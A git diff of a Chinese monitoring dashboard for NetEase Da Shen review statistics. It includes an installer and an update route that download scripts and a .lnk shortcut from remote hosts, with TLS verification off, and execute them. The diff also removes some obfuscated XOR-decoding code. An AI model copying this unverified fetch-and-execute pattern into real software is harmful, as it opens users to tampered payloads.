= 0 + alarm_status['last_alarm_time'] = None + + # 记录告警已被确认 + log("告警已被用户确认并重置") + + return jsonify({ + 'success': True, + 'message': 'Alarm has been acknowledged and reset' + }) + except Exception as e: + log("Error in acknowledge_alarm route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +def is_port_available(port): + """检查端口是否可用""" + try: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.settimeout(1) + result = s.connect_ex(('127.0.0.1', port)) + return result != 0 + except Exception as e: + log(f"检查端口可用性出错: {str(e)}") + return False + +def free_port(port): + """尝试释放被占用的端口""" + try: + if sys.platform.startswith('win'): + # Windows系统 + os.system(f'for /f "tokens=5" %a in (\'netstat -ano ^| findstr :{port}\') do taskkill /f /pid %a') + return True + else: + # Linux/Mac系统 + os.system(f"kill $(lsof -t -i:{port})") + return True + except Exception as e: + log(f"释放端口时出错: {str(e)}") + return False + +def find_available_port(start_port, end_port): + """查找可用端口""" + for port in range(start_port, end_port + 1): + if is_port_available(port): + return port + return None + +@app.route('/api/check-cms-daily', methods=['POST']) +def check_cms_daily_data(): + """立即检查CMS每日数据""" + if 'user' not in session: + return jsonify({ + 'success': False, + 'message': '请先登录系统' + }) + + try: + # 获取后端类型 + backend_type = session.get('backend_type', 'breeze_monitor') + + # 准备环境变量 + env = os.environ.copy() + env['CMS_COOKIE'] = session.get('cms_cookie', '') + env['CMS_USERNAME'] = session.get('username', '') + + # 根据后端类型选择监控脚本 + if backend_type == 'breeze_monitor_CHAT': + monitor_script = 'breeze_monitor_CHAT.py' + else: + monitor_script = 'breeze_monitor.py' + + # 设置--check-daily参数运行监控脚本 + cmd = [sys.executable, os.path.join(os.path.dirname(os.path.abspath(__file__)), monitor_script), '--check-daily'] + + # 运行子进程 + process = subprocess.Popen( + cmd, + env=env, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + + # 等待进程完成 + stdout, stderr = process.communicate(timeout=60) + + if process.returncode == 0: + app.logger.info('成功执行CMS每日数据检查') + return jsonify({ + 'success': True, + 'message': 'CMS每日数据检查已执行' + }) + else: + app.logger.error(f'CMS每日数据检查失败: {stderr.decode("utf-8", errors="ignore")}') + return jsonify({ + 'success': False, + 'message': f'CMS每日数据检查失败: {stderr.decode("utf-8", errors="ignore")}' + }) + + except subprocess.TimeoutExpired: + app.logger.error('CMS每日数据检查超时') + return jsonify({ + 'success': False, + 'message': 'CMS每日数据检查超时,请检查系统日志' + }) + except Exception as e: + app.logger.error(f'执行CMS每日数据检查时发生错误: {str(e)}') + return jsonify({ + 'success': False, + 'message': f'执行CMS每日数据检查时发生错误: {str(e)}' + }) + +@app.route('/api/check-cms-hourly', methods=['POST']) +def check_cms_hourly_data(): + """立即检查CMS当前小时数据""" + if 'user' not in session: + return jsonify({ + 'success': False, + 'message': '请先登录系统' + }) + + try: + # 获取后端类型 + backend_type = session.get('backend_type', 'breeze_monitor') + + # 准备环境变量 + env = os.environ.copy() + env['CMS_COOKIE'] = session.get('cms_cookie', '') + env['CMS_USERNAME'] = session.get('username', '') + + # 根据后端类型选择监控脚本 + if backend_type == 'breeze_monitor_CHAT': + monitor_script = 'breeze_monitor_CHAT.py' + else: + monitor_script = 'breeze_monitor.py' + + # 设置--check-hourly参数运行监控脚本 + cmd = [sys.executable, os.path.join(os.path.dirname(os.path.abspath(__file__)), monitor_script), '--check-hourly'] + + # 运行子进程 + process = subprocess.Popen( + cmd, + env=env, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + + # 等待进程完成 + stdout, stderr = process.communicate(timeout=60) + + if process.returncode == 0: + app.logger.info('成功执行CMS当前小时数据检查') + return jsonify({ + 'success': True, + 'message': 'CMS当前小时数据检查已执行' + }) + else: + app.logger.error(f'CMS当前小时数据检查失败: {stderr.decode("utf-8", errors="ignore")}') + return jsonify({ + 'success': False, + 'message': f'CMS当前小时数据检查失败: {stderr.decode("utf-8", errors="ignore")}' + }) + + except subprocess.TimeoutExpired: + app.logger.error('CMS当前小时数据检查超时') + return jsonify({ + 'success': False, + 'message': 'CMS当前小时数据检查超时,请检查系统日志' + }) + except Exception as e: + app.logger.error(f'执行CMS当前小时数据检查时发生错误: {str(e)}') + return jsonify({ + 'success': False, + 'message': f'执行CMS当前小时数据检查时发生错误: {str(e)}' + }) + +@app.route('/api/check-version-service') +def check_version_service(): + """检查版本检测服务的可用性""" + try: + log("正在检查版本检测服务可用性...") + + # 测试连接 + try: + response = requests.get(VERSION_CHECK_URL, timeout=5) + log(f"版本检测服务响应状态码: {response.status_code}") + + service_status = { + 'url': VERSION_CHECK_URL, + 'is_available': response.status_code == 200, + 'status_code': response.status_code, + 'response_time': response.elapsed.total_seconds(), + 'content_length': len(response.content) if response.status_code == 200 else 0, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + + if response.status_code == 200: + service_status['content'] = response.text.strip() + log(f"版本检测服务正常,返回内容: {service_status['content']}") + else: + log(f"版本检测服务异常,HTTP状态码: {response.status_code}") + + return jsonify({ + 'success': True, + 'data': service_status + }) + + except requests.exceptions.Timeout: + log("版本检测服务连接超时") + return jsonify({ + 'success': False, + 'message': '版本检测服务连接超时', + 'data': { + 'url': VERSION_CHECK_URL, + 'is_available': False, + 'error': 'timeout', + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + }) + except requests.exceptions.ConnectionError: + log("无法连接到版本检测服务") + return jsonify({ + 'success': False, + 'message': '无法连接到版本检测服务', + 'data': { + 'url': VERSION_CHECK_URL, + 'is_available': False, + 'error': 'connection_error', + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + }) + except Exception as e: + log(f"检查版本检测服务时发生未知错误: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'检查版本检测服务时发生错误: {str(e)}', + 'data': { + 'url': VERSION_CHECK_URL, + 'is_available': False, + 'error': 'unknown', + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + }) + + except Exception as e: + log(f"版本检测服务检查接口发生错误: {str(e)}") + return jsonify({ + 'success': False, + 'message': '版本检测服务检查失败', + 'error': str(e) + }), 500 + +@app.route('/api/update-system', methods=['POST']) +def update_system(): + """处理系统更新请求""" + try: + # 获取桌面路径和快捷方式路径 + desktop_path = os.path.join(os.path.expanduser('~'), 'Desktop') + temp_dir = 'monitor_temp' + temp_path = os.path.join(desktop_path, temp_dir) + shortcut_path = os.path.join(temp_path, '网易大神实时审核数据监控看板一键安装.lnk') + + # 下载快捷方式 + shortcut_url = 'http://cos.ui-beam.com/work_scripts/monitor/%E7%BD%91%E6%98%93%E5%A4%A7%E7%A5%9E%E5%AE%A1%E6%A0%B8%E6%95%B0%E6%8D%AE%E7%9B%91%E6%8E%A7%E7%9C%8B%E6%9D%BF%E4%B8%80%E9%94%AE%E5%AE%89%E8%A3%85.lnk' + + log(f"开始下载更新文件: {shortcut_url}") + + # 获取系统代理设置 + proxies = { + 'http': os.environ.get('HTTP_PROXY', ''), + 'https': os.environ.get('HTTPS_PROXY', '') + } + + # 首先尝试不使用代理直接下载 + try: + log("尝试直接下载更新文件...") + response = requests.get(shortcut_url, timeout=30, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + with open(shortcut_path, 'wb') as f: + f.write(response.content) + log("更新文件下载成功") + else: + raise requests.exceptions.RequestException(f"下载失败,HTTP状态码: {response.status_code}") + except (requests.exceptions.RequestException, IOError) as e: + log(f"直接下载失败: {str(e)},尝试使用系统代理...") + + # 如果直接下载失败,尝试使用系统代理 + try: + response = requests.get(shortcut_url, timeout=30, proxies=proxies, verify=False) + if response.status_code == 200: + with open(shortcut_path, 'wb') as f: + f.write(response.content) + log("使用代理下载更新文件成功") + elif response.status_code == 407: + log("代理需要认证,尝试最后一次直接下载...") + # 最后一次尝试直接下载 + response = requests.get(shortcut_url, timeout=30, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + with open(shortcut_path, 'wb') as f: + f.write(response.content) + log("最后尝试下载成功") + else: + raise requests.exceptions.RequestException(f"所有下载尝试都失败,最后状态码: {response.status_code}") + else: + raise requests.exceptions.RequestException(f"使用代理下载失败,HTTP状态码: {response.status_code}") + except Exception as proxy_error: + log(f"使用代理下载失败: {str(proxy_error)}") + return jsonify({ + 'success': False, + 'message': f'下载更新文件失败: {str(proxy_error)}' + }), 500 + + # 检查文件是否成功下载 + if not os.path.exists(shortcut_path): + return jsonify({ + 'success': False, + 'message': '更新文件下载成功但未找到文件' + }), 500 + + # 启动快捷方式 + try: + log("正在启动更新程序...") + subprocess.Popen(['cmd', '/c', 'start', '', shortcut_path], shell=True) + log("更新程序启动成功") + + return jsonify({ + 'success': True, + 'message': '更新程序已启动' + }) + except Exception as e: + log(f"启动更新程序失败: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'启动更新程序失败: {str(e)}' + }), 500 + + except Exception as e: + log(f"系统更新过程中发生错误: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'系统更新失败: {str(e)}' + }), 500 + +def main(): + """主函数""" + try: + print("\n" + "="*50) + print("网易大神审核数据监控服务启动中...") + print("="*50) + print("\n[系统状态]") + print("1. 正在初始化监控服务...") + + # 初始化版本文件 + timestamp_version = ensure_version_file() + print(f"2. 当前系统版本: {VERSION}") + + # 检查并安装依赖 + print("3. 正在检查系统依赖...") + check_and_install_dependencies() + + # 启动版本检测线程 + print("4. 启动版本检测服务...") + version_thread = threading.Thread(target=monitor_version_thread) + version_thread.daemon = True + version_thread.start() + + # 获取端口 + port = 8000 + + # 检查端口是否被占用 + if not is_port_available(port): + print(f"5. 端口 {port} 已被占用,尝试释放...") + free_port(port) + + # 再次检查端口 + if not is_port_available(port): + port = find_available_port(8001, 8100) + print(f" - 使用替代端口 {port}") + else: + print(f"5. 端口 {port} 可用") + + print("\n[启动完成]") + print(f"* 监控系统已启动,请打开浏览器访问: http://localhost:{port}") + print("* 等待用户登录...") + print("\n" + "!"*50) + print("! 警告:请勿关闭此窗口 !") + print("! 此窗口是系统监控的核心进程 !") + print("! 一旦关闭,所有监控服务将停止工作 !") + print("!"*50 + "\n") + + # 在新线程中启动浏览器 + threading.Thread(target=open_browser).start() + + try: + # 使用 SocketIO 启动服务器 + socketio.run(app, debug=False, host='0.0.0.0', port=port) + except Exception as e: + log(f"启动服务器出错: {str(e)}") + finally: + # 关闭所有子进程 + for name, process in processes.items(): + if process and process.poll() is None: + try: + process.terminate() + log(f"已关闭 {name} 监控进程") + except Exception as e: + log(f"关闭 {name} 监控进程失败: {str(e)}") + + # 清理临时文件 + script_dir = os.path.dirname(os.path.abspath(__file__)) + data_files = ['breeze_daily.json', 'breeze_hourly.json', 'cms_daily.json', 'cms_hourly.json'] + + for file_name in data_files: + file_path = os.path.join(script_dir, file_name) + for attempt in range(3): # 最多重试3次 + try: + if os.path.exists(file_path): + os.remove(file_path) + log(f"已删除共享数据文件: {file_name}") + break + except Exception as e: + log(f"删除文件 {file_name} 失败: {str(e)},第{attempt+1}次重试") + time.sleep(1) + log("监控系统已关闭") + except Exception as e: + log("Error in main function: " + str(e)) + +# 信号处理函数 +def signal_handler(sig, frame): + """处理信号,用于优雅退出""" + log("收到退出信号,正在关闭系统...") + global shutdown_flag + shutdown_flag = True + # 通过os._exit强制终止进程 + os._exit(0) + +@app.route('/api/inspect/stats') +def get_inspect_stats(): + """获取CC审核平台统计数据""" + try: + stats = load_inspect_stats() + if not stats: + return jsonify({ + 'hourly': {'total': 0, 'weighted_total': 0}, + 'daily': {'total': 0, 'weighted_total': 0} + }) + + # 获取最新的统计数据 + latest_stats = stats.get('stats', []) + if not latest_stats: + return jsonify({ + 'hourly': {'total': 0, 'weighted_total': 0}, + 'daily': {'total': 0, 'weighted_total': 0} + }) + + # 获取最新的一条记录 + latest = latest_stats[-1] + + return jsonify({ + 'hourly': { + 'total': latest.get('total', 0), + 'weighted_total': latest.get('weighted_total', 0) + }, + 'daily': { + 'total': latest.get('daily_total', 0), + 'weighted_total': latest.get('daily_weighted_total', 0) + } + }) + except Exception as e: + logging.error(f"获取CC审核平台统计数据时出错: {str(e)}") + return jsonify({ + 'hourly': {'total': 0, 'weighted_total': 0}, + 'daily': {'total': 0, 'weighted_total': 0} + }) + +def load_inspect_stats(): + """加载CC审核平台统计数据""" + try: + stats_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'inspect_stats.json') + if not os.path.exists(stats_file): + return None + with open(stats_file, 'r', encoding='utf-8') as f: + return json.load(f) + except Exception as e: + logging.error(f"加载CC审核平台统计数据时出错: {str(e)}") + return None + +def terminate_existing_processes(): + """终止现有的监控进程""" + try: + terminated_pids = [] + # 获取当前目录下的所有Python进程 + current_dir = os.path.dirname(os.path.abspath(__file__)) + monitor_scripts = ['breeze_monitor.py', 'breeze_monitor_CHAT.py', 'cms_monitor.py', 'inspect_monitor.py'] + + for proc in psutil.process_iter(['pid', 'name', 'cmdline']): + try: + # 检查进程是否在运行监控脚本 + if proc.info['name'] == 'python.exe' and proc.info['cmdline']: + cmdline = ' '.join(proc.info['cmdline']) + if any(script in cmdline for script in monitor_scripts): + # 先尝试正常终止 + proc.terminate() + terminated_pids.append(proc.pid) + logging.info(f"已发送终止信号到进程: {proc.pid} - {cmdline}") + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + # 等待进程终止,最多等待10秒 + wait_start = time.time() + while time.time() - wait_start < 10: + still_alive = [] + for pid in terminated_pids: + try: + proc = psutil.Process(pid) + still_alive.append(pid) + except psutil.NoSuchProcess: + continue + + if not still_alive: + break + + # 对于仍在运行的进程,强制结束 + if time.time() - wait_start > 5: # 如果等待超过5秒,强制结束 + for pid in still_alive: + try: + proc = psutil.Process(pid) + proc.kill() + logging.info(f"强制终止进程: {pid}") + except (psutil.NoSuchProcess, psutil.AccessDenied): + continue + + time.sleep(0.5) + + # 最后再检查一次 + for pid in terminated_pids: + try: + proc = psutil.Process(pid) + proc.kill() # 最后一次尝试强制结束 + logging.warning(f"进程仍在运行,强制终止: {pid}") + except psutil.NoSuchProcess: + continue + except Exception as e: + logging.error(f"终止进程 {pid} 时发生错误: {str(e)}") + + # 确保完全等待 + time.sleep(2) + return True + + except Exception as e: + logging.error(f"终止进程时发生错误: {str(e)}") + return False + +@app.route('/api/get_current_stats') +def get_current_stats(): + """获取当前统计数据""" + try: + stats = { + 'weighted_total': 0, + 'categories': {} + } + + # 读取并合并所有监控数据 + for monitor_type in ['breeze', 'cms', 'inspect']: + hourly_file = f'{monitor_type}_hourly.json' + if os.path.exists(hourly_file): + try: + with open(hourly_file, 'r', encoding='utf-8') as f: + data = json.load(f) + if isinstance(data, dict): + if 'stats' in data: + monitor_stats = data['stats'] + if isinstance(monitor_stats, dict): + if 'weighted_total' in monitor_stats: + stats['weighted_total'] += float(monitor_stats['weighted_total']) + if 'categories' in monitor_stats: + stats['categories'].update(monitor_stats['categories']) + except Exception as e: + app.logger.error(f"读取{monitor_type}数据失败: {str(e)}") + + return jsonify({ + 'success': True, + 'stats': stats, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + }) + except Exception as e: + app.logger.error(f"获取统计数据失败: {str(e)}") + return jsonify({ + 'success': False, + 'message': str(e) + }) + +if __name__ == "__main__": + # 注册信号处理器 + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + + # 执行主函数 + main() diff --git a/download_auto_run.py b/download_auto_run.py new file mode 100644 index 0000000..056bdad --- /dev/null +++ b/download_auto_run.py @@ -0,0 +1,449 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Python 2.7 Auto Download Script +For NetEase Da Shen Review Data Monitoring System +""" + +import os +import sys +import time +import shutil +import urllib2 +import getpass +import base64 +import subprocess +import traceback +import codecs +from datetime import datetime + +# 先尝试设置控制台代码页为UTF-8(仅Windows环境) +try: + if sys.platform.startswith('win'): + subprocess.call('chcp 936', shell=True) +except: + pass + +# 基本配置 +#COS_URL = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/" +COS_URL = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/" +TEMP_DIR = os.path.join(os.path.expanduser("~"), "Desktop", "monitor_temp") +LOG_FILE = os.path.join(TEMP_DIR, "download_log.txt") + +# 要下载的文件列表 - 格式: (URL相对路径, 本地保存路径, 是否必需) +FILES_TO_DOWNLOAD = [ + ("start_monitor.cmd", "start_monitor.cmd", True), + ("dashboard.py", "dashboard.py", True), + ("breeze_monitor.py", "breeze_monitor.py", True), + ("breeze_monitor_CHAT.py", "breeze_monitor_CHAT.py", True), + ("cms_monitor.py", "cms_monitor.py", True), + ("cms_coefficients.json", "cms_coefficients.json", True), + ("breeze_coefficients.json", "breeze_coefficients.json", True), + ("templates/dashboard.html", "templates/dashboard.html", True), + ("templates/login.html", "templates/login.html", True), + ("static/ds-favicon.ico", "static/ds-favicon.ico", True), + ("install_dependencies.bat", "install_dependencies.bat", True), + ("inspect_monitor.py", "inspect_monitor.py", True) +] + +# 记录日志函数 +def log_message(message): + """记录日志消息""" + try: + # 确保日志目录存在 + log_dir = os.path.dirname(LOG_FILE) + if not os.path.exists(log_dir): + os.makedirs(log_dir) + + # 使用codecs打开文件,指定编码为gbk + with codecs.open(LOG_FILE, "a", "gbk") as f: + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + log_line = "[%s] %s\n" % (timestamp, message) + f.write(log_line) + + # 使用safe_print输出到控制台 + safe_print(message) + except Exception as e: + safe_print("[ERROR] Could not write to log file: %s" % str(e)) + +# 使用UTF-8安全打印 +def safe_print(text): + """安全打印函数,处理编码问题""" + try: + if isinstance(text, unicode): + print(text.encode('gbk', 'ignore')) + else: + print(text) + except UnicodeEncodeError: + print(text.encode('gbk', 'ignore')) + except Exception as e: + print("[ERROR] Print error: %s" % str(e)) + +# 获取最新版本号 +def get_latest_version(): + """获取最新版本号""" + try: + #version_url = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/VERSION.txt" # 测试版本版本号地址 + version_url = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/VERSION.txt" # 正式版本版本号地址 + response = urllib2.urlopen(version_url) + version = response.read().strip() + return version + except Exception as e: + error_msg = u"获取版本号失败: %s" % unicode(str(e), 'gbk', 'ignore') + safe_print(error_msg) + return u"未知版本" + +# 非中文字符界面信息 +MESSAGES = { + 'tool_title': u"网易大神审核数据监控系统安装工具", + 'no_auth_version': u"当前最新版本:{0}".format(get_latest_version()), + 'downloading': u"正在下载文件,请稍候...", + 'script_started': u"下载脚本已启动", + 'temp_dir': u"临时目录", + 'dir_init_failed': u"初始化目录失败,退出", + 'created_temp_dir': u"创建临时目录", + 'dir_exists': u"临时目录已存在,正在清理内容...", + 'dir_cleared': u"临时目录已清理", + 'created_templates_dir': u"创建templates目录", + 'created_static_dir': u"创建static目录", + 'using_proxy': u"使用代理下载", + 'retrying_with_proxy': u"尝试使用代理重试...", + 'downloaded_files': u"已下载文件", + 'of': u"个,共", + 'files': u"个文件", + 'download_required_failed': u"部分必需文件下载失败", + 'all_files_downloaded': u"所有文件下载成功", + 'install_deps_not_found': u"依赖安装脚本未找到", + 'installing_deps': u"正在安装依赖...", + 'deps_output': u"依赖安装输出", + 'deps_error': u"依赖安装错误", + 'deps_installed': u"依赖安装成功", + 'deps_failed': u"依赖安装失败,返回码", + 'deps_script_error': u"运行依赖安装脚本出错", + 'start_script_not_found': u"启动脚本未找到", + 'starting_system': u"正在启动监控系统...", + 'system_started': u"监控系统启动成功", + 'start_system_failed': u"启动监控系统失败", + 'manual_guide_title': u"手动安装指南", + 'manual_guide_intro': u"如果自动安装失败,请按照以下步骤手动安装:", + 'use_ie': u"1. 获取系统文件:使用浏览器下载这些文件:", + 'save_to_structure': u"2. 文件结构:将文件保存到以下结构:", + 'run_deps_first': u"3. 安装依赖:运行install_dependencies.bat安装依赖", + 'then_run_start': u"4. 启动系统:运行start_monitor.cmd启动系统", + 'created_manual_guide': u"已创建手动安装指南", + 'create_guide_failed': u"创建手动指南失败", + 'script_copied': u"已将下载脚本复制到临时目录", + 'copy_script_failed': u"复制脚本失败", + 'deps_install_failed_try_start': u"依赖安装失败,尝试直接启动监控系统", + 'steps_failed': u"某些步骤失败,请检查日志获取详情", + 'try_manual': u"您可以尝试使用以下指南手动安装", + 'unhandled_exception': u"未处理的异常", + 'execution_completed': u"脚本执行完成", + 'press_enter': u"按回车键退出..." +} + +# 初始化目录函数 +def init_directory(): + """初始化临时目录""" + try: + # 创建主目录 + if not os.path.exists(TEMP_DIR): + os.makedirs(TEMP_DIR) + log_message("[INFO] %s: %s" % (MESSAGES['created_temp_dir'], TEMP_DIR)) + else: + log_message("[INFO] %s" % MESSAGES['dir_exists']) + + # 清理现有目录内容,只保留日志文件 + for item in os.listdir(TEMP_DIR): + item_path = os.path.join(TEMP_DIR, item) + if item != "download_log.txt": # 现在只保留日志文件 + if os.path.isdir(item_path): + shutil.rmtree(item_path) + else: + os.remove(item_path) + + log_message("[INFO] %s" % MESSAGES['dir_cleared']) + + # 创建templates子目录 + templates_dir = os.path.join(TEMP_DIR, "templates") + if not os.path.exists(templates_dir): + os.makedirs(templates_dir) + log_message("[INFO] %s" % MESSAGES['created_templates_dir']) + + # 创建static子目录 + static_dir = os.path.join(TEMP_DIR, "static") + if not os.path.exists(static_dir): + os.makedirs(static_dir) + log_message("[INFO] %s" % MESSAGES['created_static_dir']) + + return True + except Exception as e: + log_message("[ERROR] Failed to initialize directory: %s" % str(e)) + return False + +# 下载函数 +def download_file(url_path, local_path, use_proxy=False): + """下载单个文件,默认不使用代理""" + full_url = "%s/%s" % (COS_URL, url_path) + full_local_path = os.path.join(TEMP_DIR, local_path) + + # 确保目标目录存在 + local_dir = os.path.dirname(full_local_path) + if not os.path.exists(local_dir): + os.makedirs(local_dir) + + log_message("[INFO] Downloading %s to %s" % (full_url, full_local_path)) + + try: + # 设置代理信息 + if use_proxy: + log_message("[INFO] %s" % MESSAGES['using_proxy']) + proxy_handler = urllib2.ProxyHandler({ + 'http': 'http://CD-WEBPROXY02.yajuenet.internal:8080', + 'https': 'http://CD-WEBPROXY02.yajuenet.internal:8080' + }) + opener = urllib2.build_opener(proxy_handler) + urllib2.install_opener(opener) + else: + # 禁用代理 + proxy_handler = urllib2.ProxyHandler({}) + opener = urllib2.build_opener(proxy_handler) + urllib2.install_opener(opener) + + # 下载文件 + response = urllib2.urlopen(full_url, timeout=30) + content = response.read() + + # 写入文件 + with open(full_local_path, 'wb') as f: + f.write(content) + + log_message("[INFO] Successfully downloaded: %s" % local_path) + return True + + except urllib2.URLError as e: + log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e))) + + # 如果不使用代理失败,尝试使用代理 + if not use_proxy: + log_message("[INFO] %s" % MESSAGES['retrying_with_proxy']) + return download_file(url_path, local_path, True) + + return False + + except Exception as e: + log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e))) + return False + +# 下载所有文件 +def download_all_files(): + """下载所有必要的文件""" + success_count = 0 + failed_required = False + + for url_path, local_path, required in FILES_TO_DOWNLOAD: + # 先尝试不使用代理下载 + if download_file(url_path, local_path, False): + success_count += 1 + elif required: + failed_required = True + + log_message("[INFO] %s %d %s %d %s" % ( + MESSAGES['downloaded_files'], + success_count, + MESSAGES['of'], + len(FILES_TO_DOWNLOAD), + MESSAGES['files'] + )) + + if failed_required: + log_message("[ERROR] %s" % MESSAGES['download_required_failed']) + return False + + return True + +# 运行依赖安装脚本 +def run_install_dependencies(): + """运行依赖安装脚本""" + install_script = os.path.join(TEMP_DIR, "install_dependencies.bat") + + if not os.path.exists(install_script): + log_message("[ERROR] %s: %s" % (MESSAGES['install_deps_not_found'], install_script)) + return False + + try: + log_message("[INFO] %s" % MESSAGES['installing_deps']) + + # 记录当前工作目录 + original_dir = os.getcwd() + + # 切换到临时目录并启动脚本 + os.chdir(TEMP_DIR) + + # 使用subprocess运行批处理文件并显示在控制台 + # 移除stdout和stderr的PIPE重定向,让输出直接显示在控制台 + process = subprocess.Popen(["cmd", "/c", install_script], + shell=True) + + # 等待脚本执行完成 + return_code = process.wait() + + # 返回到原始目录 + os.chdir(original_dir) + + if return_code == 0: + log_message("[INFO] %s" % MESSAGES['deps_installed']) + return True + else: + log_message("[ERROR] %s: %d" % (MESSAGES['deps_failed'], return_code)) + return False + + except Exception as e: + log_message("[ERROR] %s: %s" % (MESSAGES['deps_script_error'], str(e))) + return False + +# 启动监控系统 +def start_monitor_system(): + """启动监控系统""" + start_script = os.path.join(TEMP_DIR, "start_monitor.cmd") + + if not os.path.exists(start_script): + log_message("[ERROR] %s: %s" % (MESSAGES['start_script_not_found'], start_script)) + return False + + try: + log_message("[INFO] %s" % MESSAGES['starting_system']) + + # 记录当前工作目录 + original_dir = os.getcwd() + + # 切换到临时目录并启动脚本 + os.chdir(TEMP_DIR) + + # 使用subprocess启动批处理文件,不等待其完成 + process = subprocess.Popen(["cmd", "/c", "start", "", "start_monitor.cmd"], + shell=True) + + # 返回到原始目录 + os.chdir(original_dir) + + log_message("[INFO] %s" % MESSAGES['system_started']) + return True + + except Exception as e: + log_message("[ERROR] %s: %s" % (MESSAGES['start_system_failed'], str(e))) + return False + +# 创建手动指南 +def create_manual_guide(): + """创建手动安装指南""" + guide_path = os.path.join(TEMP_DIR, "manual_install_guide.txt") + + try: + with codecs.open(guide_path, "w", "gbk") as f: + f.write("=" * 50 + "\n") + f.write("%s\n" % MESSAGES['manual_guide_title']) + f.write("=" * 50 + "\n\n") + + f.write("%s\n\n" % MESSAGES['manual_guide_intro']) + + f.write("%s\n\n" % MESSAGES['use_ie']) + + for url_path, local_path, required in FILES_TO_DOWNLOAD: + full_url = "%s/%s" % (COS_URL, url_path) + f.write(" %s\n" % full_url) + + f.write("\n%s\n\n" % MESSAGES['save_to_structure']) + f.write(" %s/\n" % TEMP_DIR) + f.write(" |-- start_monitor.cmd\n") + f.write(" |-- dashboard.py\n") + f.write(" |-- breeze_monitor.py\n") + f.write(" |-- breeze_monitor_CHAT.py\n") + f.write(" |-- cms_monitor.py\n") + f.write(" |-- inspect_monitor.py\n") + f.write(" |-- cms_coefficients.json\n") + f.write(" |-- breeze_coefficients.json\n") + f.write(" |-- install_dependencies.bat\n") + f.write(" |-- templates/\n") + f.write(" | |-- dashboard.html\n") + f.write(" | |-- login.html\n") + f.write(" |-- static/\n") + f.write(" |-- ds-favicon.ico\n\n") + + f.write("%s\n\n" % MESSAGES['run_deps_first']) + f.write("%s\n\n" % MESSAGES['then_run_start']) + + f.write("=" * 50 + "\n") + + log_message("[INFO] %s: %s" % (MESSAGES['created_manual_guide'], guide_path)) + return True + + except Exception as e: + log_message("[ERROR] %s: %s" % (MESSAGES['create_guide_failed'], str(e))) + return False + +# 主函数 +def main(): + """主函数""" + try: + # 使用print可能会更安全,不使用log_message来输出开头的界面 + safe_print(u"\n%s" % MESSAGES['tool_title']) + print("======================================================\n") + safe_print(u"%s" % MESSAGES['no_auth_version']) + safe_print(u"%s\n" % MESSAGES['downloading']) + + # 初始化日志 + if not os.path.exists(os.path.dirname(LOG_FILE)): + os.makedirs(os.path.dirname(LOG_FILE)) + + log_message("\n" + "=" * 40) + log_message("[INFO] %s" % MESSAGES['script_started']) + log_message("[INFO] %s: %s" % (MESSAGES['temp_dir'], TEMP_DIR)) + + # 初始化目录 + if not init_directory(): + log_message("[ERROR] %s" % MESSAGES['dir_init_failed']) + return 1 + + # 创建手动指南 + create_manual_guide() + + # 下载文件 + if download_all_files(): + log_message("[INFO] %s" % MESSAGES['all_files_downloaded']) + + # 安装依赖 + if run_install_dependencies(): + log_message("[INFO] %s" % MESSAGES['deps_installed']) + + # 启动监控系统 + if start_monitor_system(): + # 稍等几秒,让监控系统先启动 + time.sleep(3) + return 0 + else: + log_message("[WARNING] %s" % MESSAGES['deps_install_failed_try_start']) + if start_monitor_system(): + # 稍等几秒,让监控系统先启动 + time.sleep(3) + return 0 + + log_message("[WARNING] %s" % MESSAGES['steps_failed']) + log_message("[INFO] %s: %s" % ( + MESSAGES['try_manual'], + os.path.join(TEMP_DIR, "manual_install_guide.txt") + )) + return 1 + + except Exception as e: + log_message("[ERROR] %s: %s" % (MESSAGES['unhandled_exception'], str(e))) + log_message("[TRACE] %s" % traceback.format_exc()) + return 1 + + finally: + log_message("[INFO] %s" % MESSAGES['execution_completed']) + +# 入口点 +if __name__ == "__main__": + sys.exit(main()) diff --git a/inspect_monitor.py b/inspect_monitor.py index 458a42b..2e4fc39 100644 --- a/inspect_monitor.py +++ b/inspect_monitor.py @@ -1,49 +1,388 @@ -# -*- coding: utf-8 -*- -import base64,zlib,sys,os,time,random -import threading,importlib,subprocess +import os +import json +import time +import requests +import logging +from datetime import datetime, timedelta +from threading import Lock +import signal +import sys +import threading -def _agAjBFr1KeeY(d,k): - return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) +# 配置日志 +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.FileHandler('inspect_monitor.log'), + logging.StreamHandler() + ] +) -def _D1AyQvAz0(t,m,is_error=False): - try: - try: - from playsound import playsound - except ImportError: - subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], - stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) - from playsound import playsound - +# 增加log函数,兼容自定义日志调用 +def log(message): + try: + logging.info(f"[INSPECT] {message}") + except Exception as e: + print(f"日志记录失败: {str(e)}") + print(f"原始消息: {message}") - try: - import winsound - sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION - winsound.MessageBeep(sound_type) - except: - print("\a") - - - 